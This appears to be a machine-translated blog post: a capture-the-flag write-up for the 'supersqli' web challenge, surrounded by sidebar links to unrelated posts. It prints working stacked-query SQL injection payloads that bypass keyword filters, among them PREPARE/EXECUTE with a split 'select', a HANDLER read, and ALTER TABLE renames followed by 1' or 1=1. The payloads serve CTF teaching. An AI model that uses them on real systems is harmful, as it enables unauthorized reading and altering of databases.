当前位置:网站首页>Attack and defense world (WEB) -- supersqli
Attack and defense world (WEB) -- supersqli
2022-06-12 18:55:00 【Xiao Xiaoran】
List of articles
Attack and defend the world (web piece )—supersqli
After getting the title , It is found that it is a single quotation mark error character injection
order by 2 The page will echo normally ,order by 3 Page error during
Next union Inquire about , It is found that many statements are filtered
Bypass the filter , There are several ways
Stack query + precompile
Look up the table
Check field
Use precompiled method to check , But filtered
strstr Case sensitive
?inject=1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');Prepare xiao from @sql;EXECUTE xiao;
handler Inquire about
handler grammar
Inquire about payload
?inject=1';handler `1919810931114514` open;handler `1919810931114514` read first; --+
Stack query + Change the name of the watch
Principle analysis
At the beginning, it is to query word Table data , So we can use the database to modify the table name and column name
First put the original words Change the name of the watch to something else , then 1919810931114514 Change the name of the table to words
Then change the name of the table after the flag Change the field to id (id Also need to show columns from word obtain )
And then we use 1’ or 1=1 --+ You can get it directly flag
modify payload
?inject=1';alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);
边栏推荐
- Leetcode 474. One and zero
- lua记录
- Quickly copy the request in browser F12 to postman/ or generate the corresponding code of the relevant language
- On how to make digital transformation after the loan of large policy banks- Yixinhuachen
- 国内如何下载Vega
- Vue —— 进阶 vue-router 路由(二)(replace属性、编程式路由导航、缓存路由组件、路由的专属钩子)
- leetcode:5270. Minimum path cost in Grid [simple level DP]
- 快速复制浏览器F12中的请求到Postman/或者生成相关语言的对应代码
- 美团获得小样本学习榜单FewCLUE第一!Prompt Learning+自训练实战
- CEPH deploy offline deployment of CEPH cluster and error reporting FAQ
猜你喜欢
leetcode:5289. 公平分发饼干【看数据范围 + dfs剪枝】
Rhca memoirs -- Introduction to cl280
论大型政策性银行贷后,如何数字化转型 ?-亿信华辰
kali2022如何安装w3af
美团获得小样本学习榜单FewCLUE第一!Prompt Learning+自训练实战
Why my order by create_ Time ASC becomes order by ASC
leetcode:6095. 强密码检验器 II【简单模拟 + 不符合直接False】
Liunx deploy Seata (Nacos version)
CVPR 2022 oral Dalian Institute of technology proposed SCI: a fast and powerful low light image enhancement method
leetcode:6095. Strong password verifier II [simple simulation + direct false]
随机推荐
Why my order by create_ Time ASC becomes order by ASC
收获满满的下午
How to download Vega in China
Vue —— 进阶 vue-router 路由(二)(replace属性、编程式路由导航、缓存路由组件、路由的专属钩子)
Have a meal, dry pot, fat intestines + palm treasure!
美团获得小样本学习榜单FewCLUE第一!Prompt Learning+自训练实战
【图像去噪】基于正则化实现图像去噪附matlab代码
kali局域网ARP欺骗(arpspoof)并监听(mitmproxy)局域内其它主机上网记录
Difference between rxjs of() and of ({})
攻防世界(web篇)---supersqli
leetcode:98. Count the number of subarrays whose score is less than k [double pointers + number of calculated subsets + de duplication]
Dumi builds a document blog
CVPR 2022 Oral 大连理工提出SCI:快速、超强的低光照图像增强方法
I was badly hurt by the eight part essay...
Partial scratch and corrosion detection of bolts and screws based on Halcon
JS get the start and end dates of this week according to the nth week of the N year
Yoloe target detection notes
yoloe 目标检测使用笔记
Operational research optimization of meituan intelligent distribution system - Notes
Go init initialization function